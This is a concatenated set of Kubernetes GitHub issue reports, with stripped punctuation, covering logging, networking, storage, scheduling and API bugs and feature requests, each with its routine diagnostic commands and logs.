root@fluentd-elasticsearch-ip-172-20-0-194:/  ls -al /varlog/containers/vapor-web-v1-x894w_   lrwxrwxrwx 1 root root 171 aug 27 18:03 /varlog/containers/vapor-web-v1-x894w_vapor-alpha_pod-99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0.log -> /mnt/ephemeral/docker/containers/99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0/99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0-json.log  lrwxrwxrwx 1 root root 171 aug 27 18:03 /varlog/containers/vapor-web-v1-x894w_vapor-alpha_nginx-521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491.log -> /mnt/ephemeral/docker/containers/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491-json.log  lrwxrwxrwx 1 root root 171 aug 27 18:03 /varlog/containers/vapor-web-v1-x894w_vapor-alpha_vapor-unicorn-1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a.log -> /mnt/ephemeral/docker/containers/1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a/1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a-json.log      fluentd seems to expect that the symlinks will point to /var/lib/docker/containers but on aws we use /mnt/ephemeral/docker/containers.  from the node i see:      bash root@ip-172-20-0-194:/home/ubuntu  ls -al /var/log/containers/vapor-web-v1-x894w_vapor-alpha_  lrwxrwxrwx 1 root root 171 aug 27 18:03 /var/log/containers/vapor-web-v1-x894w_vapor-alpha_nginx-521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491.log -> /mnt/ephemeral/docker/containers/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491-json.log lrwxrwxrwx 1 root root 171 aug 27 18:03 /var/log/containers/vapor-web-v1-x894w_vapor-alpha_pod-99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0.log -> /mnt/ephemeral/docker/containers/99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0/99cd13b12f2b45275f5a3bcb7537d08ce722c48d66e3e21b57ad0563d5f2d8c0-json.log lrwxrwxrwx 1 root root 171 aug 27 18:03 /var/log/containers/vapor-web-v1-x894w_vapor-alpha_vapor-unicorn-1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a.log -> /mnt/ephemeral/docker/containers/1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a/1e5233b3d6d2e8c92c8534dd61d46b4aadc7766d54423eb17425682d678bad9a-json.log          bash  root@ip-172-20-0-194:/home/ubuntu  cat /mnt/ephemeral/docker/containers/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491/521e74369e30312a32806b018e62ef81d6a606dd87c0772aaacc2461ae84e491-json.log | tail -n 5  {\ log\ :\ 172.20.0.70 - -  28/aug/2015:17:29:26 +0000  \\\ get / http/1.1\\\  302 116 \\\ -\\\  \\\ pingdom.com_bot_version_1.4_ http://www.pingdom.com/ \\\ \ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2015-08-28t17:29:26.242591558z\ }  {\ log\ :\ 172.20.0.70 - -  28/aug/2015:17:29:26 +0000  \\\ get /users/sign_in http/1.1\\\  200 1954 \\\ -\\\  \\\ pingdom.com_bot_version_1.4_ http://www.pingdom.com/ \\\ \ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2015-08-28t17:29:26.265429648z\ }  {\ log\ :\ 2015/08/28 17:29:26  info  5 5:  58423 client 172.20.0.70 closed keepalive connection\ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2015-08-28t17:29:26.271201715z\ }  {\ log\ :\ 2015/08/28 17:29:38  info  5 5:  58426 client closed connection while waiting for request, client: 172.20.0.171, server: 0.0.0.0:80\ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2015-08-28t17:29:38.549273837z\ }  {\ log\ :\ 2015/08/28 17:29:46  info  5 5:  58427 client closed connection while waiting for request, client: 172.20.0.33, server: 0.0.0.0:80\ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2015-08-28t17:29:46.549263618z\ }

this doesn't look like a horrible list, and honestly 90% of our images are just  pause, nginx, busybox, hostexec, netexec .      18:21:38-beeps~/goproj/src/k8s.io/kubernetes/test/e2e  $ grep -iroh \ gcr.io/. \  | awk -f \ /\  '{print $3}' | sed -e \ s/ ,\\\  } //g\  | sort | uniq  busybox:1.24 dnsutils eptest:0.1 fakegitserver:0.1 gb-redisslave:v1 hostexec:1.2 jessie-dnsutils liveness mounttest:0.2 mounttest:0.5 mounttest:0.6 mounttest-user:0.3 netexec:1.4 nettest:1.7 nettest: + version nginx:1.7.9 n-way-http:1.0 pause:2.0 pause:2.0 podlabels porter:cd5cb5791ebaa8641955f0e8c2a9bed669b1eaab portforwardtester:1.0 resource_consumer:beta2 serve_hostname:1.1 servicelb:0.1 test-webserver ubuntu:14.04 update-demo:kitten update-demo:nautilus volume-ceph volume-gluster volume-iscsi volume-nfs volume-rbd      feels like we're wasting time hunting issues like https://github.com/kubernetes/kubernetes/issues/21029 and https://github.com/kubernetes/kubernetes/issues/20550. we can employ other means to test image pulling? @kubernetes/goog-testing

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : openstack port\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : v1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : fedora 24\r -   kernel    e.g.  uname -a  : 4.9.12-100.fc24.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  : when creating a loadbalancer service with the openstack cloud provider, kubernetes created a neutron load balancer and floating ip correctly, but assigned the floating ip to an unrelated nova server instead of assigning it to the load balancer.\r \r \r   what you expected to happen  : the floating ip should have been associated with the load balancer\r \r \r   how to reproduce it    as minimally and precisely as possible : create two different private networks using 10.0.0.0/24. create a nova server on network 1 with ip 10.0.0.10. run kubernetes on network 2. create a loadbalancer service in kubernetes with the vip 10.0.0.10. the floating ip will potentially get assigned to the nova server on network 1 instead of the load balancer on network 2.\r \r \r   anything else we need to know  : this appears to be happening because  getportbyip  does not filter ips by network  https://github.com/kubernetes/kubernetes/blob/c077c30/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l82-l108 . the result is that a matching ip from an unrelated network may be found when looking for the port for the load balancer by ip  https://github.com/kubernetes/kubernetes/blob/c077c30/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l831-l844 .\r

the pull-kubernetes-e2e-kops-aws suite has been very flaky recently. sometimes nodes don't come up during cluster setup, sometimes tests failed even though the change was trivial. it seems to be much more unstable than other suites.\r \r here are recent failures:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46309/pull-kubernetes-e2e-kops-aws/26529/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46363/pull-kubernetes-e2e-kops-aws/26733/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46242/pull-kubernetes-e2e-kops-aws/26731/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46132/pull-kubernetes-e2e-kops-aws/26703/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45918/pull-kubernetes-e2e-kops-aws/26688/\r

making an api request for table output and specifying the  includeobject  parameter causes a server error in parameter conversion, and an inaccurate error message in response:\r \r    \r curl -k \\\r   -h \ accept: application/json;as=table;v=v1alpha1;g=meta.k8s.io\  \\\r   'https://localhost:6443/api/v1/pods?includeobject=metadata'\r \r {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ only the following media types are accepted: application/json, application/yaml, application/vnd.kubernetes.protobuf\ ,\r   \ reason\ : \ notacceptable\ ,\r   \ code\ : 406\r }\r    \r \r server log:\r  \r e0804 09:41:14.654457   19822 status.go:62  apiserver received an error that is not an metav1.status: converting  url.values .  string to  v1alpha1.tableoptions .v1alpha1.includeobjectpolicy: couldn't copy '  string' into 'v1alpha1.includeobjectpolicy'; didn't understand types\r  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  kind bug\r \r \r   what happened  :\r \r when change the date time on node to an earlier time: \r e.g. change the date 2017-10-18 14:00  -> 2017-10-18 11:00\r will cause kubelet   stop posting its node's status for 3 hours  .\r \r this will cause the node status become   notready   from master side.\r \r how long we should wait for kubelet posting node's status again depends on how long the distance of time we changed to the original time  e.g. if we change to time to half hour earlier, kubelet will stop posting status for half an hour .\r \r i check the code and debug, finally found that when posting node status, kubelet will invoke  kl.kubeclient.core  .nodes  .get string kl.nodename , opts   to retrieve node info from apiserver.\r when modify the time to earlier, it stuck here, and i check the codes further in  vendor/k8s.io/client-go/rest/request.go  and found that it stuck in invokation of  r.trythrottle   .\r \r there's some mechanism will exec  time.sleep  so that the kubelet will stop posting node's status. see it below:\r \r vendor/github.com/juju/ratelimit/ratelimit.go\r    \r / wait takes count tokens from the bucket, waiting until they are\r // available.\r func  tb  bucket  wait count int64  {\r \tif d := tb.take count ; d > 0 {\r \t\ttime.sleep d \r \t}\r }\r    \r \r \r restart the kubelet service will fix.\r \r   what you expected to happen  :\r for some reason, we may synchronize the time, so there has the possibility that change the time to an earlier time, but we don't want restart kubelet service and hope it will continue posting the node's status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r when setup the cluster normally， just change the node‘s date time to an earlier will cause the node become  notready .\r \r ps: change the time to later time will not cause this problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  gitversion:\ v1.6.9+a3d1dfa6f4335\ \r - others:\r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : i edited a cronjob's schedule, and the cronjob started immediately after the edit.\r \r i changed the schedule from \ 30 11     5\   so 11:30am utc on friday  to \ 0 11     5\   so 11:00am utc on friday  at 23:49 utc on thursday.  after the edit, the cronjob created a task immediately.\r \r even weirder, when i describe the cronjob, it's last scheduled time is wrong.\r    \r name:                       cron-send-newsletter-invites\r namespace:                  production\r labels:                     cron=cron-email\r annotations:                <none>\r schedule:                   0 11     5\r concurrency policy:         forbid\r suspend:                    false\r starting deadline seconds:  <unset>\r selector:                   <unset>\r parallelism:                <unset>\r completions:                <unset>\r pod template:\r   labels:  <none>\r   containers:\r    cron-mednet-web:\r     image:  email:production-0.16\r     port:   <none>\r     command:\r       send-newsletter\r     environment:              <none>\r     mounts:                   <none>\r   volumes:                    <none>\r last schedule time:           fri, 29 dec 2017 06:00:00 -0500\r active jobs:                  <none>\r events:\r   type    reason            age   from                message\r   ----    ------            ----  ----                -------\r   normal  successfulcreate  27m   cronjob-controller  created job cron-send-newsletter-invites-1514545200\r   normal  sawcompletedjob   14m   cronjob-controller  saw completed job: cron-send-newsletter-invites-1514545200\r   normal  successfuldelete  14m   cronjob-controller  deleted job cron-send-newsletter-invites-1513677600\r    \r \r   what you expected to happen  : i expected the cronjob to run at its newly scheduled time, not immediately.\r \r   how to reproduce it  as minimally and precisely as possible   :  unable to reproduce immediately, will come up with a minimal example if possible.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: aws\r - install tools: kops\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r     description\r \r the kubernetes api allows discovering almost everything that runs in your kubernetes cluster, as well as the underlying kubernetes components themselves. one of the few exceptions today is the etcd cluster s  used. this is unfortunate, as for example in order to monitor every target from cluster components to workload running on kubernetes can be treated the same, except for etcd.\r \r i propose to add a service and endpoints object similar to the  kubernetes  service in the  default  namespace. i imagine these object to be in the  kube-system  namespace called  etcd . this may get slightly more complicated with the  --etcd-servers-overrides  flag, but my suggestion would be to use the path sanitized to fit a kubernetes object name as a suffix for separate/multiple clusters. the objects would be updated based on their ttl of the dns entries if the etcd servers are specified as dns names. if they are ips then these objects are just updated and reconciled in a static interval.\r \r an open question i have is whether we should try to discover the etcd members through etcd itself as well or just assume an operator has provided the apiserver flag with all expected members?\r \r if you believe this requires a full design doc i'm more than happy to write one up, otherwise just implement it.\r \r thoughts?\r \r /cc @kubernetes/sig-instrumentation-feature-requests\r

is this a bug report or feature request?  :\r \r   \r \r   description  :\r \r during the  discussion  https://groups.google.com/forum/?utm_medium=email&utm_source=footer !msg/kubernetes-sig-scheduling/sim4vassha8/9mw5yclqbwaj  on graduating  taintnodebycondition  https://github.com/kubernetes/kubernetes/issues/42001  to beta, @dchen1107 shared some concerns in production rollout as follow; so i'd like to open this issue for this long process : \r \r   who to convert the existing node conditions to the taints?\r   switch npd & kubelet to apply taints, not node conditions?\r   timeline to deprecate node conditions?\r   some k8s vendor might build their own controller which watchs node conditions for some actions, we need to communicate / announce the movement first? \r   others ??\r \r \r /cc @dchen1107 @derekwaynecarr @davidopp @gmarek \r /cc @kubernetes/sig-node-feature-requests

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r currently when mounting windows disk,  ro  options is not respected. following powershell command could make a disk as readonly:\r    \r set-disk –number 5 -isreadonly $true\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  @patricklang

\r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r if pod is requested to be deleted, but node is down, pvc finalizer will never be removed\r \r   what you expected to happen  :\r \r if pod is requested to be deleted, but node is down, pvc finalizer should be removed if there are no other pods referencing it.\r \r /assign\r  \r cc @msau42 @jsafrane @pospispa \r

what happened  :\r \r kubernetes tries to attach ebs volumes while their status is still  creating :\r \r    \r events:\r   type     reason                  age                from                                  message\r   ----     ------                  ----               ----                                  -------\r   warning  failedscheduling        19s  x6 over 28s   default-scheduler                     pod has unbound immediate persistentvolumeclaims\r   normal   scheduled               19s                default-scheduler                     successfully assigned default/app to ip-172-18-0-74.ec2.internal\r   warning  failedattachvolume      15s  x4 over 19s   attachdetach-controller               attachvolume.attach failed for volume \ pvc-320dced4-eefa-11e8-a19d-0e7ca462e948\  : \ error attaching ebs volume \\\ vol-01cce92492ab6d0b0\\\ \  to instance \ i-0fcdf055a3d119b1b\  since volume is in \ creating\  state\r   normal   successfulattachvolume  7s                 attachdetach-controller               attachvolume.attach succeeded for volume \ pvc-320dced4-eefa-11e8-a19d-0e7ca462e948\ \r   normal   pulling                 1s                 kubelet, ip-172-18-0-74.ec2.internal  pulling image \ centos\ \r    \r i believe this started to happen after  67812, when volumes and their tags started to be created in the same request. before that, tags would be set through another call  i.e.,  c.tagging.createtags  , which retries if the volume isn't  available .\r \r   what you expected to happen  :\r \r kubernetes should try to attach the volume only when it's available. in order to do that,  aws.createdisk    should make sure the volume is  available  when it returns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just create a dynamically provisioned ebs volume.\r \r   

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r each node and pod are capable of running normally, and all nodes can be connected to the pod_ip of dns. the nginx service utilizes nodeport, but only a few nodes can have access to nginx through their ports.\r \r   what happened  :\r kubectl get svc\r default service/nginx nodeport 10.96.78.39 80:31781/tcp 63m app=nginx,tier=backend\r \r curl -v --connect-timeout 10 http://hostname:31781\r 172.16.0.216 : ok=2 changed=1 unreachable=0 failed=0\r 172.16.0.217 : ok=1 changed=0 unreachable=0 failed=1\r 172.16.0.218 : ok=1 changed=0 unreachable=0 failed=1\r 172.16.0.219 : ok=2 changed=1 unreachable=0 failed=0\r 172.16.0.220 : ok=2 changed=1 unreachable=0 failed=0\r 172.16.0.223 : ok=1 changed=0 unreachable=0 failed=1\r 172.16.0.224 : ok=2 changed=1 unreachable=0 failed=0\r 172.16.0.237 : ok=1 changed=0 unreachable=0 failed=1\r \r as we can see, only a few nodes can be accessed through the specified node_port, which is apparently abnormal, thus i utilize the type of node port\r \r   what you expected to happen  :\r all nodes can be accessed through the specified node_port, rather than just a few irregular nodes.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r ssh 172.16.0.237 'tcpdump -i tunl0'\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on tunl0, link-type raw  raw ip , capture size 262144 bytes\r \r 11:12:23.449434 ip jh-api-jhcloudsh-kubernate-master1.38116 > 10.96.75.5.http: flags  s , seq 532698513, win 43690, options  mss 65495,sackok,ts val 5635621 ecr 0,nop,wscale 7 , length 0\r 11:12:24.451578 ip jh-api-jhcloudsh-kubernate-master1.38116 > 10.96.75.5.http: flags  s , seq 532698513, win 43690, options  mss 65495,sackok,ts val 5636624 ecr 0,nop,wscale 7 , length 0\r 11:12:26.455585 ip jh-api-jhcloudsh-kubernate-master1.38116 > 10.96.75.5.http: flags  s , seq 532698513, win 43690, options  mss 65495,sackok,ts val 5638628 ecr 0,nop,wscale 7 , length 0\r \r ssh 172.16.0.220 'tcpdump -i tunl0'\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on tunl0, link-type raw  raw ip , capture size 65535 bytes\r \r through package capturing analysis, we can find that the data package was sent from the tunnel, but the other server system cannot receive it. in this case, there are only a few servers systems suffering from this condition. oddly, it is unsuccessful from server a to server b, but from server b to server a can actually work properly. according to these operating problems, i think that it is not reasonable.\r \r after a package is sent through a tunnel and forwarded through iptables, the node with specified ip should be able to make the response.\r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes version: 1.13.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r centos linux release 7.3.1611\r - kernel  e.g.  uname -a  :\r linux kubernate-master2 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r calico version\r version: 3.4.0\r image: quay.io/calico/cni:v3.4.0\r \r <!-- do not edit below this line -->\r 

cc @ixdy @quinton-hoole @brendandburns   we're consistently leaking resources in e2e tests and having to clean them up.  we should consider a test right at the beginning of a run that, if there are any resources that it doesn't expect, lists and deletes them all, and then fails.  15083 and  13515 may be easier if we can get this done.

there is no specific issue that addresses this issue, which i think is rather critical. i haven't tested spdy and http/2 yet, but those are probably broken also. in amy environments  kubectl proxy  would be the only user-friendly way to to get to the internal services, although it's understood that it can only carry http traffic, it should support modern uses of http.

forked from  3622   ! podports  https://cloud.githubusercontent.com/assets/6277245/5834539/755ae1d2-a167-11e4-8801-23406a60096f.png

from gce email today:\r \r   current behavior: you are not required to add firewall rules for network lb health checks today\r \r   action required: we are introducing three new ranges for health checking: 209.85.152.0/22, 209.85.204.0/22, and 35.191.0.0/16. you need to ensure that your firewall allows traffic from 209.85.152.0/22, 209.85.204.0/22, and 35.191.0.0/16. the health check probes to your backend instances will come from one of these ranges.\r \r we have until jan 31, 2018 - 1 year.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r service sctp \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r kubernetes service can't support sctp as protocol, and we need it to support it.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware configuration\r -   os    e.g. from /etc/os-release :\r   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r -   kernel    e.g.  uname -a  :\r   uname -a\r linux foss-ssc-3 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kubeadm\r -   others  :\r \r \r   what happened  :\r kubernetes service can't support sctp as protocol:\r error from server  invalid : error when creating \ tonyaw-svc.yaml\ : service \ tonyaw-rf\  is invalid: spec.ports 0 .protocol: unsupported value: \ sctp\ : supported values: tcp, udp\r \r   what you expected to happen  :\r protocol should support tcp, udp and sctp\r \r   how to reproduce it    as minimally and precisely as possible :\r kind: service\r apiversion: v1\r metadata:\r   name: tonyaw-rf\r spec:\r   clusterip: none\r   selector:\r     app: myapp\r   ports:\r     - name: app\r       protocol: sctp\r       port: 7890\r       targetport: 7890\r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-proxy clusterip target hang\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos-1235.6.0\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : cloudinit direct install\r -   others  :\r \r \r   what happened  :\r \r try creating a service with a cluster ip. then try accessing the _service_ ip and port from within a target pod. it hangs. as far as i can tell,  syn  but that is it.\r \r note that the same is true if you use  type: nodeport  and access the node ip and port.\r \r   what you expected to happen  :\r \r should be able to access the service from any pod, whether one of the targets or a different one.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r use the following simple service and deployment:\r \r    yml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   labels:\r     name: nginx\r spec:\r   type: nodeport\r   ports:\r   - name: http\r     port: 80\r     protocol: tcp\r     targetport: http\r     nodeport: 30100\r   selector:\r     instance: nginx\r ---\r kind: deployment\r apiversion: apps/v1beta1\r metadata:\r   name: nginx\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       instance: nginx\r   template:\r     metadata:\r       labels:\r         name: nginx\r         instance: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:alpine\r         ports:\r         - containerport: 80\r           name: http\r    \r \r      working pod:\r  exec  into any pod _other than_ the one created as part of the deployment:\r \r 1.  curl <nginx_podip>:80 : works\r 2.  curl <nginx_serviceip>:80 : works\r \r      failing pod\r  exec  into the pod created by the above deployment:\r \r 1.  curl <nginx_podip>:80 : works\r 2.  curl localhost:80 : works\r 2.  curl <nginx_serviceip>:80 :   fails  \r \r   anything else we need to know  :\r \r it doesn't matter if you use the same port for the service as for the pod or a different one, same name or different name, etc.\r \r i suspect iptables weirdness, but....\r \r running 1.6.2 with weave networking. i was concerned it might be lack of  --cluster-cidr  on the  kube-proxy , but that makes no difference.\r \r \r \r \r

bug report  :\r \r    \r   what happened  :\r i created a statefulset for job runners, each with some mounted volumes for scratch space, and after a few recreates the pods were stuck in _pending_. reading over kubelet logs it looks like the pods are not marked as free because volumes are not disappearing.\r \r   what you expected to happen  :\r statefulset up and down should have worked clean, removing whatever was on the kube node, and making the pod eligible to move.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset, cycle it a few times. maybe use openstack volumes too.\r \r   anything else we need to know?  :\r \r sample kubelet errors:\r \r    \r e0710 17:05:18.472909    5658 kubelet_volumes.go:110  orphaned pod \ 352193f6-5871-11e7-a01f-fa163ee1f782\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:18.473150    5658 kubelet_volumes.go:110  orphaned pod \ 6ff3b92c-587b-11e7-8b7e-fa163e7835c1\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:18.473421    5658 kubelet_volumes.go:110  orphaned pod \ 82a19d7f-3505-11e7-bb41-fa163e11ae1a\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:20.476006    5658 kubelet_volumes.go:110  orphaned pod \ 352193f6-5871-11e7-a01f-fa163ee1f782\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:20.476240    5658 kubelet_volumes.go:110  orphaned pod \ 6ff3b92c-587b-11e7-8b7e-fa163e7835c1\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:20.476448    5658 kubelet_volumes.go:110  orphaned pod \ 82a19d7f-3505-11e7-bb41-fa163e11ae1a\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:22.483983    5658 kubelet_volumes.go:110  orphaned pod \ 352193f6-5871-11e7-a01f-fa163ee1f782\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:22.484162    5658 kubelet_volumes.go:110  orphaned pod \ 6ff3b92c-587b-11e7-8b7e-fa163e7835c1\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:22.484264    5658 kubelet_volumes.go:110  orphaned pod \ 82a19d7f-3505-11e7-bb41-fa163e11ae1a\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:24.472593    5658 kubelet_volumes.go:110  orphaned pod \ 352193f6-5871-11e7-a01f-fa163ee1f782\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:24.472978    5658 kubelet_volumes.go:110  orphaned pod \ 6ff3b92c-587b-11e7-8b7e-fa163e7835c1\  found, but error <nil> occured during reading volume dir from disk\r e0710 17:05:24.473200    5658 kubelet_volumes.go:110  orphaned pod \ 82a19d7f-3505-11e7-bb41-fa163e11ae1a\  found, but error <nil> occured during reading volume dir from disk\r    \r \r here's what's inside one of the kubelet directories from that error log:\r    \r kube-node-03 core   cd /var/lib/kubelet/pods/352193f6-5871-11e7-a01f-fa163ee1f782\r kube-node-03 352193f6-5871-11e7-a01f-fa163ee1f782   ls\r containers  etc-hosts  plugins  volumes\r kube-node-03 352193f6-5871-11e7-a01f-fa163ee1f782   ls  \r etc-hosts\r \r containers:\r job-runner\r \r plugins:\r kubernetes.io~empty-dir\r \r volumes:\r kubernetes.io~cinder  kubernetes.io~secret\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ 1.5-cinder_v2_api-os-verbose-b7-2-g41406bdbbc3c2e-dirty\ , gitcommit:\ 41406bdbbc3c2e9fd83c7b80825f39ec4008b699\ , gittreestate:\ dirty\ , builddate:\ 2017-07-08t00:04:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r i run a custom build with some openstack api fixes.\r \r - cloud provider or hardware configuration  :\r \r    openstack\r    kubespray distribution\r \r - os  e.g. from /etc/os-release :\r \r    \r kube-node-03 